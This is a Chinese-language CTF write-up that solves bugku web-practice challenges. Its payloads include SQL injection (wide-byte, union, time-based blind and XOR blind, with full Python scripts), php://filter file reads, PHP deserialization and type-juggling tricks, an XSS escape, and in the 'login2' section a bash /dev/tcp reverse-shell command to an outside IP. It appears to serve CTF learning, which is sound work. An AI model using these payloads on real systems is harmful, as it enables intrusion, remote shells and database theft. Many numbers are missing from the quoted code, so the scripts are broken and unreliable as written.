bugku Web WriteUp
剛剛接觸ctf沒多久,做ctf-練習平台上的題目,有些新的題目,在網上沒有找到對應的writeup,是以做了之後就想自己寫一個,也順便理理自己的思路。(沒有太多經驗…可能對有些題目的了解還不深刻…)
-
簽到題
加群在公告裡就可以看到flag值了。
-
Web2
F12,立馬就看到flag的值了。
CTF-練習平台 writeup web -
檔案上傳測試
題目說是要上傳php檔案,那我們先上傳一個php檔案,頁面提示非圖檔檔案;那再上傳一個圖檔,就提示說隻能上傳php檔案,那這個題目就是要讓我們繞過對檔案類型的檢測,成功上傳一個圖檔格式的檔案(題目真正要讓我們上傳的是圖檔檔案)。嘗試去修改了http頭中的Content-Type,如下,即繞過檢測,得到flag。
這個題目的檔案檢測方法是:在上傳時先檢測上傳的是不是php檔案,直接檢測了檔案的字尾名是不是.php,如果是就通過了這一步驟的檢測。接下來,是判斷了Content-Type的值,如果是image那就認為是上傳了圖檔檔案。伺服器端并沒有對檔案的頭進行檢測,是以上傳檔案實質到底是php還是圖檔格式還是其他什麼格式,都是無所謂的。網上的WriteUp都是說要用截斷的方法,通過%00截斷之後,檔案字尾名發生改變來繞過檢測。但是看下面這種情況:CTF-練習平台 writeup web 可以看到,在Content-Type不是代表圖檔格式檔案的話,%00截斷去繞過是沒有用的。是以真正的檢測檔案類型的方式應該是通過Content-Type,并不是檔案上傳後,儲存到伺服器上的檔案字尾名。CTF-練習平台 writeup web -
計算題
我們在網頁給出的題目中輸入正确答案,發現輸入框的輸入長度是被限制了的,隻能輸入一個數字,那就直接在http頭中修改要上傳的計算結果。
或者可以在浏覽器中修改網頁源碼,将輸入框的長度限制改為允許輸入多個數字。
CTF-練習平台 writeup web -
web基礎 $_GET
這是很基礎的題目,就是讓我們熟悉一下前端與背景傳遞資料的GET方式。
CTF-練習平台 writeup web -
web基礎 $_POST
使用FireFox的hackbar工具,如圖。當然也可以自己寫一個小的python腳本去送出post參數。
CTF-練習平台 writeup web -
沖突
題目給出的php代碼表示,需要get傳遞num值,但是需要它不是數字,然後又要求它是1。這裡用到的知識點是:在PHP中,當數字與字元串作比較時,系統會先将字元串轉化為數字,再與數字進行比較。是以,這裡就是要構造一個字元串,使其轉換為數字之後為1,那就是1後面跟任意的字元(非數字)就可以了(不需要是%00)。比如,num=1fdafdfaf,這樣比較結果是:與1相等。
CTF-練習平台 writeup web -
Web3
打開網頁以後就一直在彈框,應該是寫了一堆alert,在一直彈框的情況下看不到網頁源碼,是以禁止彈框後,F12檢視,發現隐藏的html實體,轉換過來即得到flag。如圖。
CTF-練習平台 writeup web -
sql注入
題目說是sql注入,那就先測試一下。構造
id=1'
,通路發現是沒有錯誤資訊的…那應該是單引号’被轉義過了。這種情況下要用到單引号的payload就都沒辦法起到作用了。這道題真正的思路是寬位元組注入(寄幾想不到)。
在GBK編碼時,mysql會認為兩個字元是一個漢字(在前一個位元組的ascii碼大于128的情況下)。而經過轉義之後的單引号’會變為\’,即%5c%27。構造
,在經過轉義傳遞給mysql時,就是id=1%df%27%23
,mysql在解析時,會認為%df%5c是一個漢字,而%27就會閉合掉原本sql語句中的(左)單引号,即id=1%df%5c%27%23
select xxx from xxx where id='%df%5c'#'
,%23用于注釋掉原本sql語句中的(右)單引号。這就是寬位元組注入的原理。
那接下來就要構造sql語句,來查詢key表,id=1的string字段了。構造
,得到資料庫名稱為sql5。id=1%df%27 union select 1,database()%23
構造CTF-練習平台 writeup web
,就得到最終結果。id=1%df%27 union select 1,string from sql5.key where id=1%23
CTF-練習平台 writeup web -
SQL注入1
題目給出了我們部分代碼,告訴我們:但凡我們需要用到的關鍵字,它都給過濾掉了。而且這段代碼中有一個xss過濾的過程…這個函數放在這個sql注入的題目中就很紮眼了…為什麼會突然在sql注入的題目中特别列出一個xss過濾的函數?
可以肯定的是,我們要想查詢到key表中id=1的hash字段值,就必然會用到union、select、from、where,但是題目中過濾掉了,是以就想辦法怎麼讓它繞過這個過濾,然後就想到把html的标簽放到關鍵字中間,拆開一個關鍵字,這個就可以繞過第一步對關鍵字的檢測,而在過濾掉xss後,原本被拆開的關鍵字就又“複原”,我們就可以用起來了。
和上一個題目一樣,先查到資料庫名稱,再找flag。資料庫名稱為sql3。
CTF-練習平台 writeup web CTF-練習平台 writeup web -
你必須讓它停下
這道題的名字就叫“你必須讓它停下”,打開頁面之後,網頁一直在重新整理,切換,我要做的就是讓它可以停下,那想到用BurpSuite抓包,可以直接看到網頁源碼。
(同一個http頭多送出幾次就可以看到flag了。)CTF-練習平台 writeup web -
本地包含
題目給出的源碼中包含了flag.php檔案,我們要找到flag一定就在這個檔案中。
把$a列印到頁面中,那我們隻要讓$a是flag.php的内容就可以了。是以想辦法構造hello的值。val_dump()
在源碼中就可以檢視到flag的值了。這裡用到了hello=file_get_contents('flag.php')
()這個函數。file_get_contents
或者還可以這樣:CTF-練習平台 writeup web
通過注入的方式來得到flag.php的内容。hello=1);$file=fopen("flag.php","r");echo fread($file,filesize("flag.php"));fclose($file);//
CTF-練習平台 writeup web -
變量1
看網頁中顯示的代碼,首先要對傳遞的args參數進行正則比對,\w+比對字母、數字、下劃線,如果比對不到,那就輸出args error,比對到就會執行
這裡注意到$$args,這是php的一個特點:變量可以當作另一個變量的變量名。PHP一個比較有意思的變量$GLOBALS:一個包含了全部變量的全局組合數組。變量的名字就是數組的鍵。這個題目就是用到了這個變量。構造args=GLOBALSeval("var_dump($$args);");
CTF-練習平台 writeup web -
Web4
檢視源碼,看到源碼中有ascii碼表示的字元串,解密以後得到對應的代碼。根據代碼輸入相應的password輸入即可。(password為67d709b2b54aa2aa648cf6e87a7114f1)
CTF-練習平台 writeup web
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a)
{
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!;
alert("Error");
a.focus();
return!
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
-
Web5
和上一個題目類似,在源碼中看到,另一種形式表示的字元串,看到其他WriteUp說把這些字元串放到goole上console直接就出來了,但是我一直報錯…沒有弄清楚原因在哪裡。
-
flag在index中
題目告訴我們flag是在index.php中,但是檢視源碼是沒有flag的,是以應該是被過濾掉了,隻有部分源碼可以檢視到。在源碼中還發現,
很像檔案包含。是以構造<a href="./index.php?file=show.php" target="_blank" rel="external nofollow" >click me? no</a>
file=php://filter/read=convert.base64-encode/resource=index.php
将index.php檔案以base64編碼形式輸出,将輸出内容解碼,即檢視到index.php的全部源碼。如圖。CTF-練習平台 writeup web php://filter/read=<讀鍊需要應用的過濾器清單>/resource=index.phpCTF-練習平台 writeup web -
phpcmsV9
任意檔案上傳漏洞….我是用的騰訊的雲伺服器,在送出參數時提示沒有content字段….網上說應該是沒有騰訊雲的讀權限,是以就沒有做這個題目了…
-
海洋CMS
這是海洋cms模版的前台getshell漏洞,構造的payload都是固定的。該模版用了eval函數,并且在用之前沒有足夠的檢測,是以會出現問題。
-
輸入密碼檢視flag
提示說密碼是五位數字,那範圍就是10000-99999,爆破得到結果,密碼為13579。
CTF-練習平台 writeup web -
前女友
首先index.php中點選“連結”之後跳轉到code.txt中,這裡顯示的代碼表示:要送出3個變量,并且v1、v2兩個字元串不相等,但是它們的md5加密值相等,在網上查找之後發現這兩個字元串是QNKCDZO和240610708;傳遞的v3值要與flag相等才可以echo flag,這樣就要想辦法繞過
if(!strcmp($v3, $flag))
判斷。
用到了php中strcmp這個函數的一個漏洞:當比較對象為字元串和數組時,傳回結果一定是0,是以我們隻要讓$v3是一個數組就可以了。最終構造payload為
(注意是要在通路index.php時傳遞這些參數)。php中通過在變量後加方括号,使傳入變量為數組。?v1=QNKCDZO&v2=240610708&v3[]=1
CTF-練習平台 writeup web -
JavaScript
檢視網頁源碼,js腳本判斷了clickcount的值,在我們點選次數大于1000000時,會生成一個form表格并post方式自動送出,而且是送出到本頁面,那麼我們就僞造一個這樣的送出就可以了。(送出之後在伺服器端還有一次驗證的,是以送出的clicks值需要滿足clicks>=1000000)
CTF-練習平台 writeup web -
成績單
首先,題目是要讓我們查詢成績,猜測應該是跟sql注入有關系的,先測試一下:分别輸入
、1
、1'
1'#
,隻有在輸入為1’時,沒有成績顯示,是以這裡是有注入點的,并且伺服器端屏蔽掉了錯誤提示。
接下來嘗試union select,分别要得到flag所在的資料庫名、表名、列名。如下圖,構造
(這裡不能是' union select database(),database(),database(),database()#
,如果輸入這個語句,發現顯示的内容和直接輸入1' union select database(),database(),database(),database()#
1
是一樣的,是以這裡應該是伺服器端對頁面顯示進行了限制,隻允許輸出一行,而我們構造的查詢database()的結果是在第二行的,是以無法顯示出來。是以我們需要讓我們構造的查詢是在查詢結果中的第一行的。)
這樣我們就得到了資料庫名為skctf_flag
接下來,我們要找到skctf_flag資料庫中有幾個表,然後找到和flag相關的表名。分别構造CTF-練習平台 writeup web ' union select 1,count(table_name),1,1 from information_schema.tables where table_schema='skctf_flag' #
,得到這個資料庫中有2個表,兩個表名分别為fl4g、sc。如圖。' union select 1,table_name,1,1 from information_schema.tables where table_schema='skctf_flag' limit 1 offset 0#
CTF-練習平台 writeup web 接下來就是知道skctf_flag.fl4g這個表中有幾列,列名都是什麼,哪個列是和我們要找的flag有關的。類似地,分别構造CTF-練習平台 writeup web ' union select 1,count(column_name),1,1 from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g'#
得到該表中隻有一個列,列名和資料庫名相同,也為skctf_flag' union select 1,column_name,1,1 from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g' limit 1#
CTF-練習平台 writeup web CTF-練習平台 writeup web CTF-練習平台 writeup web information_schema這個資料庫是mysql自帶的,它提供了通路資料庫中繼資料的方式,即資料庫名或表名,列名等等。這個資料庫包含了一些在sql注入中常用到的表,可以查閱相關資料,了解一下。
這裡也要注意一下:利用information_schema這個資料庫來查詢某個特定資料庫中所有的表名、某個特定資料庫特定表的所有列名的方法。這個題目不需要編寫python腳本,很快就可以拿到我們要的結果。
這道題也可以使用sqlmap工具去做,在注入的方式已經很熟悉後,可以直接使用來節省更多時間。下載下傳sqlmap(需要在python2下使用,網上有很多安裝教程),将burp中截取的http包儲存為.txt檔案,執行對應的sqlmap指令,分别爆庫、爆表、爆列,如下圖。(這裡隻用到了幾個簡單的sqlmap指令,其他更多的用法,可以自行學習….emmmm…同在學習過程中)
CTF-練習平台 writeup web CTF-練習平台 writeup web CTF-練習平台 writeup web -
Web6
題目提示說“我感覺你得再快點”,第一反應是在網頁重新整理過程中,會有一些資訊一閃而過,捕捉不到,是以用burpsuite抓包看一下…雖然跟一開始的猜想不一樣,但是還是得到了有用資訊的。伺服器響應的内容中包含有一個flag字段值(以’=’結尾,猜想可能是base64編碼的結果),對該字段值進行解密。
CTF-練習平台 writeup web CTF-練習平台 writeup web 可以看到,這個字段給了我們一個flag…并且這個flag還是base64加密的形式(從末尾的’=’看出來的),再解密一次得到結果。(這裡對應的結果是:74242)
網頁還提示了”now you have to post the margin what you find”,那就是說我要post一個margin值。這裡我嘗試了在原來的http請求頭中加入margin=74242,但是得到的響應結果和之前一樣。看網上的方法:用python寫腳本,加上會話去通路、送出。如下圖。(這裡也沒弄清,為什麼使用工具,帶着原本的cookie值去送出margin值不能得到flag。)
CTF-練習平台 writeup web -
cookies欺騙
打開頁面之後,注意到頁面自動跳轉,url變為
GET方式送出了line和filename兩個變量,而且filename是base64編碼的結果,解碼之後發現此時的filename為keys.txt,猜測line是代表第幾行。那首先想到的就是讓filename是index.php,并且修改line,最終得到的index.php的内容如下:http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
了解這段代碼。我們要做的事情就是通過構造一個cookie,使file_list中包含keys.php,然後申請輸出這個檔案的内容。寫一個小的python腳本即可。<?php error_reporting(); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>
或者使用burpsuite直接修改http頭,如下。CTF-練習平台 writeup web CTF-練習平台 writeup web -
XSS
題目的意思是讓我們注入一段xss代碼,這段代碼中要包含
,包含成功以後,alert(_key_)
會自動替換為我們要的_key_
flag
值。
頁面中沒有輸入框,是以應該是通過get方式來注入的,試了一下
,發現頁面中出現了一個1(我也不知道為什麼正好嘗試了id這個字段名)….這個時候再看網頁源碼,發現有一段js代碼很關鍵,頁面中顯示出來的1就是通過這段代碼中的id=1
document.getElementById('s').innerHTML = s;
來實作的。
整個流程應該是:通過get方式傳遞的id字段值給了js代碼中的s變量,js又通過這一變量改變了網頁中的
的标簽的内容。那我們傳遞了什麼内容,頁面就應該會顯示什麼内容。是以構造如下xss代碼:id='s'
發現我們輸入的代碼并沒有被認為是代碼進而執行,而是以文本的形式顯示在了頁面中。檢視網頁源碼,發現在js代碼中,CTF-練習平台 writeup web
、<
都是以html實體形式存在的,那應該是傳遞給js的id值是通過html轉義了的。這裡用>
、\u003c
來分别代替(js代碼對尖括号的轉義方式)。結果如下:\u003e
CTF-練習平台 writeup web -
never give up
打開頁面之後,就顯示了一句話啥也沒,是以F12檢視源碼,看到有1p.html提示,通路一下發現會直接跳轉到www.bugku.com,那我們用burpsuite抓包看一下這中間還有什麼過程。抓包結果如下:(我抓包抓到的結果一直都是1p.html請求通路www.bugku.com,後來是在burpsuite的target頁籤下看到的)
可以看到response中有一段字元串,對其進行urldecode,發現其中包含一段base64編碼的字元串,再對這部分字元串進行解密,再urldecode,(這裡都是根據我們所看到的字元串的形式來決定對其進行哪種形式的解密的),最終得到一段php代碼,如下:CTF-練習平台 writeup web
根據要求來構造相應的參數值。得到flag。<?php if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id== and strlen($b)> and eregi("111".substr($b,,),"1114") and substr($b,,)!=) { require("f4l2a3g.txt"); } else { print "never never never give up !!!"; } ?>
CTF-練習平台 writeup web
這裡利用了$data = @file_get_contents($a,'r');
函數的特性:當用到file_get_contents()
時,php://input
支援位元組流輸入。隻要将a設為file_get_contents()
,且post過去php:input
bugku is a nice plateform!
,就可以給data賦相應值。
代碼中,對id的判斷也存在前後沖突的地方,是以這裡利用了之前提到的php字元串和數字比較時的特點來繞過這一驗證。
函數在一個字元串搜尋指定的模式的字元串。并且這個函數會對%00截斷。而eregi()
strlen()
函數是不會截斷%00。根據這一特性,繞過驗證。
這道題目中,也可以直接去通路
這個檔案。f4l2a3g.txt
-
welcome to bugku
打開頁面,F12檢視源碼發現有檔案包含,而且在包含檔案之前有一個驗證,有了上一個題目的經驗,我們就可以很快寫出繞過這個驗證的payload。(利用
這個函數的特性。直接file=index.php得不到結果,是以想到使用php://filter。)file_get_contents()
對頁面出現的字元串進行base64解密,我們就可以得到index.php的源碼。如下:CTF-練習平台 writeup web
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能現在就給你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
讀完之後
$password = unserialize($password);
是可以引起我們的注意的。
unserialize()
函數對單一的已序列化的變量進行操作,将其傳回PHP的值。若被解序列化的變量是一個對象,傳回的值就是object類型。另外,這裡限制了不允許直接包含名稱中含有flag的檔案。
分析完index.php,再将hint.php中的代碼也拿到,如下:
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
這裡定義了一個類,類中包含
__tostring()
函數,用兩個下劃線來定義的事件,都是在引用類時,自動調用的。在函數中可以包含檔案,并且對包含檔案的檔案名沒有限制。另外,我們可以知道我們要的flag就在flag.php中,是以我們就是要想辦法調用
__tostring()
這個函數,讓它包含flag.php檔案。那就是要想辦法引用Flag這個類。前面說到
unserialize()
如果被解序列化的變量是一個對象,那它的傳回值就是一個對象,而且在我們這個代碼中,還會echo這個對象,那echo的過程,就是引用這個對象的過程,我們就可以利用這個,來調用
__tostring()
函數。是以我們需要根據Flag類來給password傳遞一個合适的序列化變量。構造如下:
-
login1
題目提示是基于限制的sql攻擊,我參考了下面這篇文章。
http://blog.csdn.net/qq_32400847/article/details/54137747
裡面介紹了基于限制的sql攻擊的原理。對于這道題,注冊使用者名為
admin '
的帳号,然後以admin+密碼登入,就可以以管理者的身份登入,進而拿到flag。(可以在本地資料庫測試文章中提到的sql語句,使了解更深刻。)
-
過狗一句話
題目給出的提示内容很容易了解。那我們就是要構造一些代碼,通過
執行,進而得到結果。(這類情況一般都是用assert()
函數來測試是否能執行任意函數的。)phpinfo()
http://120.24.86.145:8010/?s=print_r(glob("*"))
http://120.24.86.145:8010/?s=show_source("flag.txt")
可以讀取檔案清單。glob("*")
高亮顯示檔案内容。show_source()
CTF-練習平台 writeup web CTF-練習平台 writeup web - maccms-蘋果cms
- appcms
- 小明的部落格
-
各種繞過喲
題目給出的代碼很容易了解,就是要找到兩個字元串,兩者不相等,但是兩者經過
sha1()
函數後卻是相等的。之前題目有讓我們找兩個不相等,但是md5()之後是相等的字元串,我們是找了一對兒特殊的字元串來繞過驗證的。
這個題目,是利用了
函數的漏洞:其無法處理數組類型,會報錯并傳回false,這樣,當我們使passwd和uname均為數組時,就可以繞過驗證。sha1()
CTF-練習平台 writeup web -
Web8
還是利用之前提到的
函數的特性。file_get_contents()
CTF-練習平台 writeup web -
字元?正則?
題目很簡單,就是根據給出的正規表達式構造一個字元串,通過驗證。
關于正規表達式的介紹,我覺得下面這篇文章不錯。CTF-練習平台 writeup web https://www.cnblogs.com/zery/p/3438845.html
“.”比對除了換行符以外的任何字元
“*”(貪婪) 重複零次或更多
“{n,m}” 重複n到m次
“\/” 代表“/”
“[[:punct:]]” 比對任意标點符号
“/i” 代表大小寫不敏感
-
考細心
打開頁面之後什麼也沒有,提示找不到…在網上找到思路說要掃描網站。我在這裡使用了dirsearch工具,掃描結果如下:
有index.php和robot.txt兩個檔案。通路robot.txt檔案,又給我們提示了resusl.php檔案,通路,它告訴了我們一句代碼:CTF-練習平台 writeup web 看到頁面顯示的ip位址,還以為是跟僞造ip什麼的有關系…那句代碼提示我們要送出一個x值,而題目還提示我們要想辦法變成admin,是以送出CTF-練習平台 writeup web
。(感覺這個題目的提示還是很委婉的,有點懵逼。)x=admin
CTF-練習平台 writeup web - php代碼審計
-
求getshell
題目說要上傳一個圖檔檔案,而不是php檔案,那首先按要求上傳一個圖檔檔案,發現上傳成功後,圖檔被存儲到伺服器端,并且給對外連結接位址,可以直接通路。是以就想着,可以繞過檔案檢測, 成功上傳一個一句話木馬(php檔案)到伺服器中….上傳成功,就可以得到flag(這裡無所謂上傳的php檔案内容是什麼,隻要上傳成功php檔案,就可以拿到)。通過修改Multipart/form-data,來繞過waf的檢測,這裡還要知道一些php的别名。
正确答案的思路…..如下:
CTF-練習平台 writeup web -
flag.php
題目提示hint,嘗試
,即檢視到了源碼。了解源碼,我們要做的事情就是使得?hint=0
unserialize($cookie) === "$KEY"
成立(“===”代表不僅要判斷值相等,還要判斷類型相等)。那就是要讓cookie值是key的序列化就可以了。
看到源碼最下方還有
,構造了這個字元串的反序列化,然後放到cookie中送出…但是沒有結果….後來仔細閱讀源碼,發現給$KEY='ISecer:www.isecer.com'
指派是在最後一個else中執行的,也就是說,$KEY
其實是為空的,是以真正的反序列化為$KEY
s:0:""
(提示hint,竟然是在送出變量時用到的….還有ISecer,是大寫的S,剛開始一直粗心寫成是Isecer….)CTF-練習平台 writeup web -
web15
提示我們寫python腳本,給出的代碼很好了解,可能有問題的地方很容易猜到,就是在将ip值插入到資料庫中的時候。正确解題思路是基于時間的盲注,那我們就要構造X-FORWARD-FOR。
首先,找到資料庫的名稱。代碼如下:
import requests
import string
guess = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
url = "http://120.24.86.145:8002/web15/index.php"
def findDatabase():
answer = ''
for i in range(,):
flag =
for j in guess:
data = "' + (select case when (substring((select database()) from %d for 1))='%s' then sleep(5) else 1 end) and '1'='1"%(i,j)
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = )
except:
flag =
answer += j
print(answer)
break
if flag == :
break
print("資料庫名為:" + answer)
if __name__ == '__main__':
findDatabase() #最終輸出結果為web15
print("OVER")
然後找
web15
資料庫中表的個數。代碼如下:
def findTableNum():
for i in range(,):
data = "' + (select case when (select count(table_name) from information_schema.tables where table_schema='web15')=%d then sleep(5) else 1 end) and '1'='1"%(i)
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = )
except:
flag =
print(i)
break
print("表的個數為:")
print(i)
然後找出這兩個表的名稱,看哪個是和flag相關的。代碼如下:
def findTableName():
for i in range(,):
answer = ''
for j in range(,):
flag =
for k in guess:
data = "' + (select case when (substring((select table_name from information_schema.tables where table_schema='web15' limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,j,k)
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = )
except:
flag =
answer += k
print(answer)
break
if flag == :
break
print("表名為:" + answer)
得到的表名為client_ip、flag。那我們就再找到flag這個表中的列,裡面存儲的應該就是我們要的flag值了。
類似地,尋找列數,再分别找到列名。代碼如下:
def findColumnNum():
for i in range(,):
data = "' + (select case when (select count(column_name) from information_schema.columns where table_schema='web15' and table_name='flag')=%d then sleep(5) else 1 end) and '1'='1"%(i)
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = )
except:
flag =
print(i)
break
print("列的個數為:")
print(i)
def findColumnName():
for i in range(,):
answer = ''
for j in range(,):
flag =
for k in guess:
data = "' + (select case when (substring((select column_name from information_schema.columns where table_schema='web15' and table_name='flag' limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,j,k)
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = )
except:
flag =
answer += k
print(answer)
break
if flag == :
break
print("列名為:" + answer)
這個表中隻有一個列,列名為flag。接下來就是查詢web15資料庫中的flag表中flag列的值了。代碼如下:
def findFlag():
answer = ''
for i in range(,):
flag =
for j in guess:
data = "' + (select case when (substring((select flag from web15.flag limit 1 offset 0) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,j)
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = )
except:
flag =
answer += j
print(answer)
break
if flag == :
break
print("flag為:" + answer)
最終執行的結果是:
flag{cdbf14c9551d5be5612f7bb5d2867853}
整個過程就是這樣,最關鍵的就是每一個
data
怎麼構造。要很好地了解基于時間注入的原理,了解這裡用到的sql語句的作用。(在網上有很多介紹的文章,先看清楚整體的原理,然後再了解具體的sql語句的作用。(我是這樣做的…之前沒怎麼接觸過sql語句,第一次看的時候還是很懵逼的。)
select case when xxx then yyy eles zzz end
這個語句是要判斷xxx是否正确,正确則執行yyy,錯誤就執行zzz。
data中的 and '1'=' 作用是閉合了原本values('$ip') 中的右引号,不加的話,sql語句就是錯誤的。(可以在本地資料庫中測試insert into user values('1' + (select case when = then else end)),最終插入的結果是。)
這裡還用到了之前提到過的 如何查找特定資料庫中的表名 如何查找特定資料庫、特定表的列名。這樣比起找整個伺服器上所有的資料庫、表、列要簡單很多。
sql注入語句的構造,都是很類似的,有一些函數是常用到的,見到以後要多積累,真正了解。
這應該是我第三次看基于時間的sql注入類型的題目,感覺比起第一次了解的深刻太多了。繼續進步!
- 檔案包含2
-
實戰2-注入
這個題目給了我們一個實際的網站(是以叫實戰嘛~),告訴我們flag就是資料庫的最後一個表名字,那我們可以猜測這裡是有sql注入的…剛開始我嘗試了在contacts裡面注入(因為這裡有可以送出内容的地方…),無果….然後就goole了一下這個網站的被曝出的漏洞,就發現了一個已經寫好的payload,就是說找到了注入點。如下:
CTF-練習平台 writeup web 首先我了解了一下goole到的這個payload是怎麼完成攻擊的:網站并沒有屏蔽掉sql的錯誤提示資訊,是以當輸入CTF-練習平台 writeup web id=4"><marquee><h1>hacked%20by%20-MR_0p3nx-</h
時,由于sql語句錯誤,就會在頁面上顯示報錯資訊,并且這個資訊沒有經過任何處理,那錯誤資訊中包含的html标簽就被當作是代碼來處理了…就完成了攻擊。
那我接下來就在這個頁面,通過id來進行注入了。
首先測試
id=4
id=4'
,發現隻有在id=4'%23
時不會出錯…根據其他兩個的報錯資訊,猜測在原本的sql語句中,4是沒有用單引号或者雙引号括起來的(出現錯誤提示,有可能是引号被轉義過了…但是在錯誤提示中引号是直接顯示的,并沒有經過轉義,是以猜測原sql語句并沒有使用引号)。那再構造id=4
,提示列數不對應…經過測試,正确的payload為:id=4 union select table_name from information_schema.tables
,是以的資料庫表名稱就都顯示在頁面中了,如下:id=4 union select 1,2,3,table_name,4 from information_schema.tables
這個題目做起來還是很快的…隻是最開始的時候會不知道從哪裡入手,找到注入點之後就會簡單很多,跟之前做過的sql注入都是一樣的套路。CTF-練習平台 writeup web -
這是一個神奇的登陸框
題目說這是一個神奇的登陸框…emmmmm…我試了好多次也不知道這個神奇在哪裡,一直都沒有找到攻擊的點。做出來這個題目也是比較湊巧….我先是假設了使用者名是admin,然後在burpsuite爆破了一下,發現在密碼為pong%%88時,伺服器響應的内容不一樣。然後在浏覽器中輸入,看到如下結果:
這個頁面終于有不一樣的地方出現了!!!有報錯資訊!!!剛開始注意力一直集中在這個報錯資訊上….沒什麼想法(其實這個報錯資訊跟解題就沒關系)….然後就突然想到既然錯誤資訊會回顯,那我就可以基于報錯來sql注入啊~然後構造了CTF-練習平台 writeup web
(當然 select 兩列是試出來的,admin_name和admin_passwd都是注入點,在任一個注入都可以。)admin_name=admin&admin_passwd=aa” union select database(),1#&submit=GO+GO+GO
CTF-練習平台 writeup web 得到了資料庫的名稱:bugkusql1 。(這個Login_Name也迷惑我了…剛開始一直以為Login_Name真的是登入名…怪我太年輕…)
接下來就要找表的個數、名稱,列的個數、名稱。這些都和之前sql注入題目類似,就不一一寫出payload了。最終,得到的表名為flag1,列名為flag1。
admin_name=bugkusql1&admin_passwd=bugkusql1"union select flag1,1 from bugkusql1.flag1#&submit=GO+GO+GO
現在看我整個的做題思路感覺還是很奇怪的…自己都不明白為什麼最開始測試的時候沒有測試成功,沒有找到注入點。(可能因為我一直試的都是單引号!?)CTF-練習平台 writeup web - 多次
- sql注入2
- wordpress
-
login2
這個題目是反彈shell,參考了網上的答案。
登入的密碼為
在伺服器上使用username=' union select md5(1),md5(1)#&password=1
在網站中輸入nc -l -p 8080 -vvv
可以看到反彈shell成功,即可執行想要的指令。bash -i >& /dev/tcp/23.106.128.52/8080 0>&1
CTF-練習平台 writeup web CTF-練習平台 writeup web -
login3
在username中輸入等号、空格、and、union等都會提示是非法字元,說明伺服器端過濾了一些字元。還有兩種錯誤提示“username doesn’t exist”、“password error”。求解的代碼如下:
import urllib.request
import requests
import string
import re
url = 'http://47.93.190.246:49167/'
guess = string.digits + string.ascii_lowercase
headers = {
'Host':'47.93.190.246:49167',
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length':'101',
'Referer':'http://47.93.190.246:49167/index.php',
'Cookie':'PHPSESSID=k6dm30v64avs3652bl768dr7v0',
'Connection':'close',
'Upgrade-Insecure-Requests':'1'
}
answer = ''
for i in range(,):
flag =
for j in guess:
postuser = "'^(select(ascii(substring((select(password)from(admin))from(%d)))<>%d))^1#"%(i,ord(j))
#ascii函數傳回字元表達式最左端字元的ASCII碼值
#這個題目裡如果加上substring(xxx from 1 for 1)加上for的話就提示是非法字元了
#ascii函數傳回最左端,是以也就不需要substring的for了
data = {'username':postuser,'password':'admin'}
html = requests.post(url,headers = headers,data = data).text
html = re.findall(r"<p align='center'>(.*?)</p>",html,re.S)[]
if 'username does not exist!' in html:
answer += j
flag =
print(answer)
break
if flag == :
break
print("password is" + answer)
和之前的注入程式很類似,隻是之前我們用到了union或者and這樣的,這裡因為都被過濾掉了,是以用了
^
(異或)。用
<>
來代替被過濾掉的
=
,用括号代替被過濾掉的空格,我們構造的sql語句是:
'^(select(ascii(substring((select(password)from(admin))from(%d)))<>%d))^1#
第一個引号是為了閉合原本sql語句中的引号。這裡相當于我們傳遞過去的username為空,即在伺服器端拼湊起來的句子是:
username=''^(select(ascii(substring((select(password)from(admin))from(%d)))<>%d))^1#'
那
username=''
一定是0,任何數與0異或為本身,與1異或與本身相反,是以最終這個語句的結果是和
(select(ascii(substring((select(password)from(admin))from(%d)))<>%d))
的結果相反的。那麼錯誤提示就根據這個語句結果的不同而不同….(也不知道這樣的解釋是不是太繁瑣…反而解釋的更複雜了…)我們在送出請求之後判斷伺服器的響應即可。
